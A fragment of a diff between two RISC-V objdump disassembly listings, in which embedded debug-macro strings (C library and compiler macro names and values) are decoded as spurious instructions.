+    796e:	414d                	li	sp,19
+    7970:	5f58                	lw	a4,60(a4)
+    7972:	005f 535f 5359      	0x5359535f005f
+    7978:	535f 4c45 4345      	0x43454c45535f
+    797e:	5f54                	lw	a3,60(a4)
+    7980:	2048                	fld	fa0,128(s0)
+    7982:	4200                	lw	s0,0(a2)
+    7984:	54535f43          	0x54535f43
+    7988:	4952                	lw	s2,20(sp)
+    798a:	474e                	lw	a4,208(sp)
+    798c:	4d5f 5841 3120      	0x312058414d5f
+    7992:	3030                	fld	fa2,96(s0)
+    7994:	0030                	addi	a2,sp,8
+    7996:	5f5f 4553 464f      	0x464f45535f5f
+    799c:	3020                	fld	fs0,96(s0)
+    799e:	3078                	fld	fa4,224(s0)
+    79a0:	3230                	fld	fa2,96(a2)
+    79a2:	0030                	addi	a2,sp,8
+    79a4:	5f5f 4953 455a      	0x455a49535f5f
+    79aa:	445f464f          	0x445f464f
+    79ae:	4c42554f          	0x4c42554f
+    79b2:	5f45                	li	t5,-15
+    79b4:	205f 0038 5f5f      	0x5f5f0038205f
+    79ba:	4955                	li	s2,21
+    79bc:	544e                	lw	s0,240(sp)
+    79be:	465f 5341 3354      	0x33545341465f
+    79c4:	5f32                	lw	t5,44(sp)
+    79c6:	414d                	li	sp,19
+    79c8:	5f58                	lw	a4,60(a4)
+    79ca:	205f 7830 6666      	0x66667830205f
+    79d0:	6666                	flw	fa2,88(sp)
+    79d2:	6666                	flw	fa2,88(sp)
+    79d4:	6666                	flw	fa2,88(sp)
+    79d6:	0055                	c.nop	21
+    79d8:	5f5f 7362 6177      	0x617773625f5f
+    79de:	3370                	fld	fa2,224(a4)
+    79e0:	2832                	fld	fa6,264(sp)
+    79e2:	785f 2029 5f5f      	0x5f5f2029785f
+    79e8:	7562                	flw	fa0,56(sp)
+    79ea:	6c69                	lui	s8,0x1a
+    79ec:	6974                	flw	fa3,84(a0)
+    79ee:	5f6e                	lw	t5,248(sp)
+    79f0:	7362                	flw	ft6,56(sp)
+    79f2:	33706177          	0x33706177
+    79f6:	2832                	fld	fa6,264(sp)
+    79f8:	785f 0029 4546      	0x45460029785f
+    79fe:	4c58                	lw	a4,28(s0)
+    7a00:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    7a04:	465f 5845 4f4c      	0x4f4c5845465f
+    7a0a:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    7a0e:	525f4353          	0x525f4353
+    7a12:	4745                	li	a4,17
+    7a14:	5845                	li	a6,-15
+    7a16:	2050                	fld	fa2,128(s0)
+    7a18:	5f003237          	lui	tp,0x5f003
+    7a1c:	565f4353          	0x565f4353
+    7a20:	4c495f37          	lui	t5,0x4c495
+    7a24:	3350                	fld	fa2,160(a4)
+    7a26:	5f32                	lw	t5,44(sp)
+    7a28:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    7a2c:	2032                	fld	ft0,264(sp)
+    7a2e:	3239                	jal	733c <__stack_size+0x6b3c>
+    7a30:	5f00                	lw	s0,56(a4)
+    7a32:	4350                	lw	a2,4(a4)
+    7a34:	525f 4345 4d5f      	0x4d5f4345525f
+    7a3a:	4e49                	li	t3,18
+    7a3c:	585f 4546 5f52      	0x5f524546585f
+    7a42:	455a4953          	0x455a4953
+    7a46:	3120                	fld	fs0,96(a0)
+    7a48:	0038                	addi	a4,sp,8
+    7a4a:	495f 5f4e 4441      	0x44415f4e495f
+    7a50:	5244                	lw	s1,36(a2)
+    7a52:	545f 445f 4345      	0x4345445f545f
+    7a58:	414c                	lw	a1,4(a0)
+    7a5a:	4552                	lw	a0,20(sp)
+    7a5c:	2044                	fld	fs1,128(s0)
+    7a5e:	5000                	lw	s0,32(s0)
+    7a60:	435f4d57          	0x435f4d57
+    7a64:	504d                	c.li	zero,-13
+    7a66:	2031                	jal	7a72 <__stack_size+0x7272>
+    7a68:	7830                	flw	fa2,112(s0)
+    7a6a:	3432                	fld	fs0,296(sp)
     7a6c:	5f00                	lw	s0,56(a4)
-    7a6e:	535f 5257 3020      	0x30205257535f
-    7a74:	3078                	fld	fa4,224(s0)
-    7a76:	3030                	fld	fa2,96(s0)
-    7a78:	0038                	addi	a4,sp,8
-    7a7a:	525f 4e41 3444      	0x34444e41525f
-    7a80:	5f38                	lw	a4,120(a4)
-    7a82:	4441                	li	s0,16
-    7a84:	2044                	fld	fs1,128(s0)
-    7a86:	3028                	fld	fa0,96(s0)
-    7a88:	3078                	fld	fa4,224(s0)
-    7a8a:	3030                	fld	fa2,96(s0)
-    7a8c:	2962                	fld	fs2,24(sp)
-    7a8e:	4e00                	lw	s0,24(a2)
-    7a90:	4d41                	li	s10,16
-    7a92:	5f45                	li	t5,-15
-    7a94:	414d                	li	sp,19
-    7a96:	2058                	fld	fa4,128(s0)
-    7a98:	3532                	fld	fa0,296(sp)
-    7a9a:	0035                	c.nop	13
-    7a9c:	4c5f 4d49 5449      	0x54494d494c5f
-    7aa2:	5f485f53          	0x5f485f53
-    7aa6:	5f5f 0020 525f      	0x525f00205f5f
-    7aac:	4e41                	li	t3,16
-    7aae:	3444                	fld	fs1,168(s0)
-    7ab0:	5f38                	lw	a4,120(a4)
-    7ab2:	44454553          	0x44454553
-    7ab6:	305f 2820 7830      	0x78302820305f
-    7abc:	65303333          	0x65303333
-    7ac0:	0029                	c.nop	10
-    7ac2:	5f5f 444c 4c42      	0x4c42444c5f5f
-    7ac8:	445f 4e45 524f      	0x524f4e45445f
-    7ace:	5f4d                	li	t5,-13
-    7ad0:	494d                	li	s2,19
-    7ad2:	5f4e                	lw	t5,240(sp)
-    7ad4:	205f 2e36 3734      	0x37342e36205f
-    7ada:	3135                	jal	7706 <__stack_size+0x6f06>
-    7adc:	31313537          	lui	a0,0x31313
-    7ae0:	3439                	jal	74ee <__stack_size+0x6cee>
-    7ae2:	32303833          	0x32303833
-    7ae6:	3135                	jal	7712 <__stack_size+0x6f12>
-    7ae8:	3031                	jal	72f4 <__stack_size+0x6af4>
-    7aea:	3239                	jal	73f8 <__stack_size+0x6bf8>
-    7aec:	3434                	fld	fa3,104(s0)
-    7aee:	35393833          	0x35393833
-    7af2:	3238                	fld	fa4,96(a2)
-    7af4:	3732                	fld	fa4,296(sp)
-    7af6:	3436                	fld	fs0,360(sp)
-    7af8:	3536                	fld	fa0,360(sp)
-    7afa:	6535                	lui	a0,0xd
-    7afc:	342d                	jal	7526 <__stack_size+0x6d26>
-    7afe:	3639                	jal	760c <__stack_size+0x6e0c>
-    7b00:	4c36                	lw	s8,76(sp)
-    7b02:	5f00                	lw	s0,56(a4)
-    7b04:	5441                	li	s0,-16
-    7b06:	5254                	lw	a3,36(a2)
-    7b08:	4249                	li	tp,18
-    7b0a:	5455                	li	s0,-11
-    7b0c:	2845                	jal	7bbc <__stack_size+0x73bc>
-    7b0e:	7461                	lui	s0,0xffff8
-    7b10:	7274                	flw	fa3,100(a2)
-    7b12:	5f202973          	csrr	s2,0x5f2
-    7b16:	615f 7474 6972      	0x69727474615f
-    7b1c:	7562                	flw	fa0,56(sp)
-    7b1e:	6574                	flw	fa3,76(a0)
-    7b20:	5f5f 2820 7461      	0x746128205f5f
-    7b26:	7274                	flw	fa3,100(a2)
-    7b28:	4c002973          	csrr	s2,0x4c0
-    7b2c:	4e49                	li	t3,18
-    7b2e:	414d5f4b          	fnmsub.s	ft10,fs10,fs4,fs0,unknown
-    7b32:	2058                	fld	fa4,128(s0)
-    7b34:	36373233          	0x36373233
-    7b38:	5f5f0037          	lui	zero,0x5f5f0
-    7b3c:	4e49                	li	t3,18
-    7b3e:	4d54                	lw	a3,28(a0)
-    7b40:	5841                	li	a6,-16
-    7b42:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7b48:	3020                	fld	fs0,96(s0)
-    7b4a:	3778                	fld	fa4,232(a4)
-    7b4c:	6666                	flw	fa2,88(sp)
-    7b4e:	6666                	flw	fa2,88(sp)
-    7b50:	6666                	flw	fa2,88(sp)
-    7b52:	6666                	flw	fa2,88(sp)
-    7b54:	6666                	flw	fa2,88(sp)
-    7b56:	6666                	flw	fa2,88(sp)
-    7b58:	6666                	flw	fa2,88(sp)
-    7b5a:	4c66                	lw	s8,88(sp)
-    7b5c:	004c                	addi	a1,sp,4
-    7b5e:	5f5f 6572 7571      	0x757165725f5f
-    7b64:	7269                	lui	tp,0xffffa
-    7b66:	7365                	lui	t1,0xffff9
-    7b68:	735f 6168 6572      	0x65726168735f
-    7b6e:	2864                	fld	fs1,208(s0)
-    7b70:	2e2e                	fld	ft8,200(sp)
-    7b72:	292e                	fld	fs2,200(sp)
-    7b74:	5f20                	lw	s0,120(a4)
-    7b76:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    7b7c:	6e61                	lui	t3,0x18
-    7b7e:	6f6e                	flw	ft10,216(sp)
-    7b80:	6174                	flw	fa3,68(a0)
-    7b82:	6574                	flw	fa3,76(a0)
-    7b84:	7328                	flw	fa0,96(a4)
-    7b86:	6168                	flw	fa0,68(a0)
-    7b88:	6572                	flw	fa0,28(sp)
-    7b8a:	5f64                	lw	s1,124(a4)
-    7b8c:	6f6c                	flw	fa1,92(a4)
-    7b8e:	5f736b63          	bltu	t1,s7,8184 <__stack_size+0x7984>
-    7b92:	6572                	flw	fa0,28(sp)
-    7b94:	7571                	lui	a0,0xffffc
-    7b96:	7269                	lui	tp,0xffffa
-    7b98:	6465                	lui	s0,0x19
-    7b9a:	5f28                	lw	a0,120(a4)
-    7b9c:	565f 5f41 5241      	0x52415f41565f
-    7ba2:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    7ba6:	2929                	jal	7fc0 <__stack_size+0x77c0>
-    7ba8:	7100                	flw	fs0,32(a0)
-    7baa:	74726f73          	csrrsi	t5,0x747,4
-    7bae:	5f00                	lw	s0,56(a4)
-    7bb0:	465f 544c 3436      	0x3436544c465f
-    7bb6:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    7a6e:	465f 544c 3233      	0x3233544c465f
+    7a74:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7a7a:	3120                	fld	fs0,96(a0)
+    7a7c:	312e                	fld	ft2,232(sp)
+    7a7e:	39343537          	lui	a0,0x39343
+    7a82:	3334                	fld	fa3,96(a4)
+    7a84:	3035                	jal	72b0 <__stack_size+0x6ab0>
+    7a86:	3238                	fld	fa4,96(a2)
+    7a88:	3232                	fld	ft4,296(sp)
+    7a8a:	3738                	fld	fa4,104(a4)
+    7a8c:	3035                	jal	72b8 <__stack_size+0x6ab8>
+    7a8e:	38363937          	lui	s2,0x38363
+    7a92:	35363337          	lui	t1,0x35363
+    7a96:	32323733          	0x32323733
+    7a9a:	3232                	fld	ft4,296(sp)
+    7a9c:	3534                	fld	fa3,104(a0)
+    7a9e:	3836                	fld	fa6,360(sp)
+    7aa0:	2d65                	jal	8158 <__stack_size+0x7958>
+    7aa2:	33463833          	0x33463833
+    7aa6:	0032                	c.slli	zero,0xc
+    7aa8:	535f 5f43 504e      	0x504e5f43535f
+    7aae:	4f52                	lw	t5,20(sp)
+    7ab0:	53534543          	fmadd.d	fa0,ft6,fs5,fa0,rmm
+    7ab4:	5f53524f          	fnmadd.q	ft4,ft6,fs5,fa1,unknown
+    7ab8:	464e4f43          	fmadd.q	ft10,ft8,ft4,fs0,rmm
+    7abc:	3920                	fld	fs0,112(a0)
+    7abe:	4300                	lw	s0,0(a4)
+    7ac0:	4b4c                	lw	a1,20(a4)
+    7ac2:	545f 4b43 4320      	0x43204b43545f
+    7ac8:	4f4c                	lw	a1,28(a4)
+    7aca:	5f534b43          	fmadd.q	fs6,ft6,fs5,fa1,rmm
+    7ace:	4550                	lw	a2,12(a0)
+    7ad0:	5f52                	lw	t5,52(sp)
+    7ad2:	00434553          	fadd.s	fa0,ft6,ft4,rmm
+    7ad6:	5f5f 4e47 5f55      	0x5f554e475f5f
+    7adc:	4956                	lw	s2,84(sp)
+    7ade:	4c424953          	0x4c424953
+    7ae2:	2045                	jal	7b82 <__stack_size+0x7382>
+    7ae4:	0030                	addi	a2,sp,8
+    7ae6:	5f5f 5753 2052      	0x205257535f5f
+    7aec:	7830                	flw	fa2,112(s0)
+    7aee:	3030                	fld	fa2,96(s0)
+    7af0:	3830                	fld	fa2,112(s0)
+    7af2:	5f00                	lw	s0,56(a4)
+    7af4:	4152                	lw	sp,20(sp)
+    7af6:	444e                	lw	s0,208(sp)
+    7af8:	3834                	fld	fa3,112(s0)
+    7afa:	415f 4444 2820      	0x28204444415f
+    7b00:	7830                	flw	fa2,112(s0)
+    7b02:	3030                	fld	fa2,96(s0)
+    7b04:	6230                	flw	fa2,64(a2)
+    7b06:	0029                	c.nop	10
+    7b08:	414e                	lw	sp,208(sp)
+    7b0a:	454d                	li	a0,19
+    7b0c:	4d5f 5841 3220      	0x322058414d5f
+    7b12:	3535                	jal	793e <__stack_size+0x713e>
+    7b14:	5f00                	lw	s0,56(a4)
+    7b16:	494c                	lw	a1,20(a0)
+    7b18:	494d                	li	s2,19
+    7b1a:	5354                	lw	a3,36(a4)
+    7b1c:	485f 5f5f 205f      	0x205f5f5f485f
+    7b22:	5f00                	lw	s0,56(a4)
+    7b24:	4152                	lw	sp,20(sp)
+    7b26:	444e                	lw	s0,208(sp)
+    7b28:	3834                	fld	fa3,112(s0)
+    7b2a:	535f 4545 5f44      	0x5f444545535f
+    7b30:	2030                	fld	fa2,64(s0)
+    7b32:	3028                	fld	fa0,96(s0)
+    7b34:	3378                	fld	fa4,224(a4)
+    7b36:	29653033          	0x29653033
+    7b3a:	5f00                	lw	s0,56(a4)
+    7b3c:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    7b42:	4544                	lw	s1,12(a0)
+    7b44:	4f4e                	lw	t5,208(sp)
+    7b46:	4d52                	lw	s10,20(sp)
+    7b48:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    7b4e:	3620                	fld	fs0,104(a2)
+    7b50:	342e                	fld	fs0,232(sp)
+    7b52:	37313537          	lui	a0,0x37313
+    7b56:	3135                	jal	7782 <__stack_size+0x6f82>
+    7b58:	3931                	jal	7774 <__stack_size+0x6f74>
+    7b5a:	3334                	fld	fa3,96(a4)
+    7b5c:	3038                	fld	fa4,96(s0)
+    7b5e:	3532                	fld	fa0,296(sp)
+    7b60:	3131                	jal	776c <__stack_size+0x6f6c>
+    7b62:	3930                	fld	fa2,112(a0)
+    7b64:	3432                	fld	fs0,296(sp)
+    7b66:	3334                	fld	fa3,96(a4)
+    7b68:	3938                	fld	fa4,112(a0)
+    7b6a:	3835                	jal	73a6 <__stack_size+0x6ba6>
+    7b6c:	3232                	fld	ft4,296(sp)
+    7b6e:	36343637          	lui	a2,0x36343
+    7b72:	3535                	jal	799e <__stack_size+0x719e>
+    7b74:	2d65                	jal	822c <__stack_size+0x7a2c>
+    7b76:	3934                	fld	fa3,112(a0)
+    7b78:	3636                	fld	fa2,360(sp)
+    7b7a:	004c                	addi	a1,sp,4
+    7b7c:	415f 5454 4952      	0x49525454415f
+    7b82:	5542                	lw	a0,48(sp)
+    7b84:	4554                	lw	a3,12(a0)
+    7b86:	6128                	flw	fa0,64(a0)
+    7b88:	7474                	flw	fa3,108(s0)
+    7b8a:	7372                	flw	ft6,60(sp)
+    7b8c:	2029                	jal	7b96 <__stack_size+0x7396>
+    7b8e:	5f5f 7461 7274      	0x727474615f5f
+    7b94:	6269                	lui	tp,0x1a
+    7b96:	7475                	lui	s0,0xffffd
+    7b98:	5f65                	li	t5,-7
+    7b9a:	205f 6128 7474      	0x74746128205f
+    7ba0:	7372                	flw	ft6,60(sp)
+    7ba2:	0029                	c.nop	10
+    7ba4:	494c                	lw	a1,20(a0)
+    7ba6:	4b4e                	lw	s6,208(sp)
+    7ba8:	4d5f 5841 3320      	0x332058414d5f
+    7bae:	3732                	fld	fa4,296(sp)
+    7bb0:	3736                	fld	fa4,360(sp)
+    7bb2:	5f00                	lw	s0,56(a4)
+    7bb4:	495f 544e 414d      	0x414d544e495f
+    7bba:	5f58                	lw	a4,60(a4)
     7bbc:	414d                	li	sp,19
     7bbe:	5f58                	lw	a4,60(a4)
-    7bc0:	205f 2e31 3937      	0x39372e31205f
-    7bc6:	33393637          	lui	a2,0x33393
-    7bca:	3331                	jal	78d6 <__stack_size+0x70d6>
-    7bcc:	3834                	fld	fa3,112(s0)
-    7bce:	3236                	fld	ft4,360(sp)
-    7bd0:	37353133          	0x37353133
-    7bd4:	3830                	fld	fa2,112(s0)
-    7bd6:	3431                	jal	75e2 <__stack_size+0x6de2>
-    7bd8:	3235                	jal	7504 <__stack_size+0x6d04>
-    7bda:	33323437          	lui	s0,0x33323
-    7bde:	37313337          	lui	t1,0x37313
-    7be2:	3430                	fld	fa2,104(s0)
-    7be4:	65373533          	0x65373533
-    7be8:	3830332b          	0x3830332b
-    7bec:	3646                	fld	fa2,112(sp)
-    7bee:	0034                	addi	a3,sp,8
-    7bf0:	5f5f 5f75 6f6c      	0x6f6c5f755f5f
-    7bf6:	676e                	flw	fa4,216(sp)
-    7bf8:	645f 6665 6e69      	0x6e696665645f
-    7bfe:	6465                	lui	s0,0x19
-    7c00:	0020                	addi	s0,sp,8
-    7c02:	5f5f 4e47 4355      	0x43554e475f5f
-    7c08:	494c                	lw	a1,20(a0)
-    7c0a:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-    7c0e:	4955                	li	s2,21
-    7c10:	544c                	lw	a1,44(s0)
-    7c12:	4e49                	li	t3,18
-    7c14:	565f 4141 494c      	0x494c4141565f
-    7c1a:	31205453          	0x31205453
-    7c1e:	5f00                	lw	s0,56(a4)
-    7c20:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    7c26:	54444957          	0x54444957
-    7c2a:	5f48                	lw	a0,60(a4)
-    7c2c:	205f 3233 5f00      	0x5f003233205f
-    7c32:	4552                	lw	a0,20(sp)
-    7c34:	4e45                	li	t3,17
-    7c36:	5f54                	lw	a3,60(a4)
-    7c38:	504d                	c.li	zero,-13
-    7c3a:	465f 4552 4c45      	0x4c454552465f
-    7c40:	5349                	li	t1,-14
-    7c42:	2854                	fld	fa3,144(s0)
-    7c44:	7470                	flw	fa2,108(s0)
-    7c46:	2972                	fld	fs2,280(sp)
-    7c48:	2820                	fld	fs0,80(s0)
-    7c4a:	7028                	flw	fa0,96(s0)
-    7c4c:	7274                	flw	fa3,100(a2)
-    7c4e:	2d29                	jal	8268 <__stack_size+0x7a68>
-    7c50:	5f3e                	lw	t5,236(sp)
-    7c52:	7266                	flw	ft4,120(sp)
-    7c54:	6565                	lui	a0,0x19
-    7c56:	696c                	flw	fa1,84(a0)
-    7c58:	00297473          	csrrci	s0,frm,18
-    7c5c:	5f5f 504f 4954      	0x4954504f5f5f
-    7c62:	494d                	li	s2,19
-    7c64:	455a                	lw	a0,148(sp)
-    7c66:	5f5f 3120 5f00      	0x5f0031205f5f
-    7c6c:	735f 6769 656e      	0x656e6769735f
+    7bc0:	205f 7830 6637      	0x66377830205f
+    7bc6:	6666                	flw	fa2,88(sp)
+    7bc8:	6666                	flw	fa2,88(sp)
+    7bca:	6666                	flw	fa2,88(sp)
+    7bcc:	6666                	flw	fa2,88(sp)
+    7bce:	6666                	flw	fa2,88(sp)
+    7bd0:	6666                	flw	fa2,88(sp)
+    7bd2:	6666                	flw	fa2,88(sp)
+    7bd4:	4c4c                	lw	a1,28(s0)
+    7bd6:	5f00                	lw	s0,56(a4)
+    7bd8:	725f 7165 6975      	0x69757165725f
+    7bde:	6572                	flw	fa0,28(sp)
+    7be0:	68735f73          	csrrwi	t5,0x687,6
+    7be4:	7261                	lui	tp,0xffff8
+    7be6:	6465                	lui	s0,0x19
+    7be8:	2e28                	fld	fa0,88(a2)
+    7bea:	2e2e                	fld	ft8,200(sp)
+    7bec:	2029                	jal	7bf6 <__stack_size+0x73f6>
+    7bee:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    7bf4:	615f 6e6e 746f      	0x746f6e6e615f
+    7bfa:	7461                	lui	s0,0xffff8
+    7bfc:	2865                	jal	7cb4 <__stack_size+0x74b4>
+    7bfe:	72616873          	csrrsi	a6,0x726,2
+    7c02:	6465                	lui	s0,0x19
+    7c04:	6c5f 636f 736b      	0x736b636f6c5f
+    7c0a:	725f 7165 6975      	0x69757165725f
+    7c10:	6572                	flw	fa0,28(sp)
+    7c12:	2864                	fld	fs1,208(s0)
+    7c14:	5f5f 4156 415f      	0x415f41565f5f
+    7c1a:	4752                	lw	a4,20(sp)
+    7c1c:	295f5f53          	0x295f5f53
+    7c20:	0029                	c.nop	10
+    7c22:	5f5f 4c46 3654      	0x36544c465f5f
+    7c28:	5f34                	lw	a3,120(a4)
+    7c2a:	4f4e                	lw	t5,208(sp)
+    7c2c:	4d52                	lw	s10,20(sp)
+    7c2e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    7c34:	3120                	fld	fs0,96(a0)
+    7c36:	372e                	fld	fa4,232(sp)
+    7c38:	3739                	jal	7b46 <__stack_size+0x7346>
+    7c3a:	3936                	fld	fs2,360(sp)
+    7c3c:	34333133          	0x34333133
+    7c40:	3638                	fld	fa4,104(a2)
+    7c42:	3332                	fld	ft6,296(sp)
+    7c44:	3531                	jal	7a50 <__stack_size+0x7250>
+    7c46:	31383037          	lui	zero,0x31383
+    7c4a:	3534                	fld	fa3,104(a0)
+    7c4c:	3732                	fld	fa4,296(sp)
+    7c4e:	3234                	fld	fa3,96(a2)
+    7c50:	31333733          	0x31333733
+    7c54:	33343037          	lui	zero,0x33343
+    7c58:	3735                	jal	7b84 <__stack_size+0x7384>
+    7c5a:	2b65                	jal	8212 <__stack_size+0x7a12>
+    7c5c:	46383033          	0x46383033
+    7c60:	3436                	fld	fs0,360(sp)
+    7c62:	5f00                	lw	s0,56(a4)
+    7c64:	755f 6c5f 6e6f      	0x6e6f6c5f755f
+    7c6a:	65645f67          	0x65645f67
+    7c6e:	6966                	flw	fs2,88(sp)
+    7c70:	656e                	flw	fa0,216(sp)
     7c72:	2064                	fld	fs1,192(s0)
-    7c74:	6e676973          	csrrsi	s2,0x6e6,14
-    7c78:	6465                	lui	s0,0x19
-    7c7a:	5f00                	lw	s0,56(a4)
-    7c7c:	535f 5053 465f      	0x465f5053535f
-    7c82:	4954524f          	fnmadd.s	ft4,fs0,fs5,fs1,unknown
-    7c86:	5946                	lw	s2,112(sp)
-    7c88:	4c5f 5645 4c45      	0x4c4556454c5f
-    7c8e:	3020                	fld	fs0,96(s0)
-    7c90:	5f00                	lw	s0,56(a4)
-    7c92:	5f535953          	0x5f535953
-    7c96:	4546                	lw	a0,80(sp)
-    7c98:	5441                	li	s0,-16
-    7c9a:	5255                	li	tp,-11
-    7c9c:	5345                	li	t1,-15
-    7c9e:	485f 0020 535f      	0x535f0020485f
-    7ca4:	42585f43          	fmadd.d	ft10,fa6,ft5,fs0,unknown
-    7ca8:	4c5f3553          	0x4c5f3553
-    7cac:	3650                	fld	fa2,168(a2)
-    7cae:	5f34                	lw	a3,120(a4)
-    7cb0:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    7cb4:	2034                	fld	fa3,64(s0)
-    7cb6:	535f 5f43 3756      	0x37565f43535f
-    7cbc:	4c5f 3650 5f34      	0x5f3436504c5f
-    7cc2:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
-    7cc6:	0034                	addi	a3,sp,8
-    7cc8:	424d                	li	tp,19
-    7cca:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
-    7cd0:	5841                	li	a6,-16
-    7cd2:	5f20                	lw	s0,120(a4)
-    7cd4:	424d                	li	tp,19
-    7cd6:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
-    7cdc:	5841                	li	a6,-16
-    7cde:	5f00                	lw	s0,56(a4)
-    7ce0:	5342                	lw	t1,48(sp)
-    7ce2:	5444                	lw	s1,44(s0)
-    7ce4:	5059                	c.li	zero,-10
-    7ce6:	5345                	li	t1,-15
-    7ce8:	445f 4645 4e49      	0x4e494645445f
-    7cee:	4445                	li	s0,17
-    7cf0:	0020                	addi	s0,sp,8
-    7cf2:	535f 5f43 4854      	0x48545f43535f
-    7cf8:	4552                	lw	a0,20(sp)
-    7cfa:	4441                	li	s0,16
-    7cfc:	505f 4f52 4543      	0x45434f52505f
-    7d02:	535f5353          	0x535f5353
-    7d06:	4148                	lw	a0,4(a0)
-    7d08:	4552                	lw	a0,20(sp)
-    7d0a:	2044                	fld	fs1,128(s0)
-    7d0c:	3834                	fld	fa3,112(s0)
-    7d0e:	5f00                	lw	s0,56(a4)
-    7d10:	325f4353          	0x325f4353
-    7d14:	565f 5245 4953      	0x49535245565f
-    7d1a:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    7d1e:	3132                	fld	ft2,296(sp)
-    7d20:	5f00                	lw	s0,56(a4)
-    7d22:	545f4353          	0x545f4353
-    7d26:	5248                	lw	a0,36(a2)
-    7d28:	4145                	li	sp,17
-    7d2a:	5f44                	lw	s1,60(a4)
-    7d2c:	4f52                	lw	t5,20(sp)
-    7d2e:	5542                	lw	a0,48(sp)
-    7d30:	505f5453          	0x505f5453
-    7d34:	4952                	lw	s2,20(sp)
-    7d36:	4e495f4f          	fnmadd.q	ft10,fs2,ft4,fs1,unknown
-    7d3a:	4548                	lw	a0,12(a0)
-    7d3c:	4952                	lw	s2,20(sp)
-    7d3e:	2054                	fld	fa3,128(s0)
-    7d40:	3231                	jal	764c <__stack_size+0x6e4c>
-    7d42:	0032                	c.slli	zero,0xc
-    7d44:	5f5f 6572 7473      	0x747365725f5f
-    7d4a:	6972                	flw	fs2,28(sp)
-    7d4c:	72207463          	bgeu	zero,sp,8474 <__stack_size+0x7c74>
-    7d50:	7365                	lui	t1,0xffff9
-    7d52:	7274                	flw	fa3,100(a2)
-    7d54:	6369                	lui	t1,0x1a
-    7d56:	0074                	addi	a3,sp,12
-    7d58:	5446                	lw	s0,112(sp)
-    7d5a:	5552                	lw	a0,52(sp)
-    7d5c:	434e                	lw	t1,208(sp)
-    7d5e:	5f20                	lw	s0,120(a4)
-    7d60:	5446                	lw	s0,112(sp)
-    7d62:	5552                	lw	a0,52(sp)
-    7d64:	434e                	lw	t1,208(sp)
-    7d66:	5f00                	lw	s0,56(a4)
-    7d68:	755f 735f 6f68      	0x6f68735f755f
-    7d6e:	7472                	flw	fs0,60(sp)
-    7d70:	645f 6665 6e69      	0x6e696665645f
-    7d76:	6465                	lui	s0,0x19
-    7d78:	0020                	addi	s0,sp,8
-    7d7a:	4955                	li	s2,21
-    7d7c:	544e                	lw	s0,240(sp)
-    7d7e:	4d5f3233          	0x4d5f3233
-    7d82:	5841                	li	a6,-16
-    7d84:	5f20                	lw	s0,120(a4)
-    7d86:	555f 4e49 3354      	0x33544e49555f
-    7d8c:	5f32                	lw	t5,44(sp)
-    7d8e:	414d                	li	sp,19
-    7d90:	5f58                	lw	a4,60(a4)
-    7d92:	005f 5f5f 504f      	0x504f5f5f005f
-    7d98:	4954                	lw	a3,20(a0)
-    7d9a:	494d                	li	s2,19
-    7d9c:	455a                	lw	a0,148(sp)
-    7d9e:	535f 5a49 5f45      	0x5f455a49535f
-    7da4:	205f 0031 5f5f      	0x5f5f0031205f
-    7daa:	656e                	flw	fa0,216(sp)
-    7dac:	6465                	lui	s0,0x19
-    7dae:	775f 6863 7261      	0x72616863775f
-    7db4:	745f 0020 5f5f      	0x5f5f0020745f
-    7dba:	657a6973          	csrrsi	s2,0x657,20
-    7dbe:	745f 5500 4e49      	0x4e495500745f
-    7dc4:	5f54                	lw	a3,60(a4)
-    7dc6:	454c                	lw	a1,12(a0)
-    7dc8:	5341                	li	t1,-16
-    7dca:	3354                	fld	fa3,160(a4)
-    7dcc:	5f32                	lw	t5,44(sp)
-    7dce:	414d                	li	sp,19
-    7dd0:	2058                	fld	fa4,128(s0)
-    7dd2:	5f5f 4955 544e      	0x544e49555f5f
-    7dd8:	4c5f 4145 5453      	0x545341454c5f
-    7dde:	4d5f3233          	0x4d5f3233
-    7de2:	5841                	li	a6,-16
-    7de4:	5f5f 5f00 6e5f      	0x6e5f5f005f5f
-    7dea:	756e6e6f          	jal	t3,ee540 <__stack_size+0xedd40>
-    7dee:	6c6c                	flw	fa1,92(s0)
-    7df0:	615f 6c6c 5f20      	0x5f206c6c615f
-    7df6:	615f 7474 6972      	0x69727474615f
-    7dfc:	7562                	flw	fa0,56(sp)
-    7dfe:	6574                	flw	fa3,76(a0)
-    7e00:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    7e06:	6f6e                	flw	ft10,216(sp)
-    7e08:	6e6e                	flw	ft8,216(sp)
-    7e0a:	6c75                	lui	s8,0x1d
-    7e0c:	5f6c                	lw	a1,124(a4)
-    7e0e:	295f 0029 5f46      	0x5f460029295f
-    7e14:	4e55                	li	t3,21
-    7e16:	4b4c                	lw	a1,20(a4)
-    7e18:	20535953          	0x20535953
-    7e1c:	0034                	addi	a3,sp,8
-    7e1e:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    7e22:	4f5f 5455 5550      	0x555054554f5f
-    7e28:	5f54                	lw	a3,60(a4)
-    7e2a:	4e45                	li	t3,17
-    7e2c:	3020                	fld	fs0,96(s0)
-    7e2e:	3078                	fld	fa4,224(s0)
-    7e30:	0038                	addi	a4,sp,8
-    7e32:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    7e38:	4349                	li	t1,18
-    7e3a:	415f 5143 525f      	0x525f5143415f
-    7e40:	4c45                	li	s8,17
-    7e42:	3420                	fld	fs0,104(s0)
-    7e44:	5f00                	lw	s0,56(a4)
-    7e46:	615f 6c6c 636f      	0x636f6c6c615f
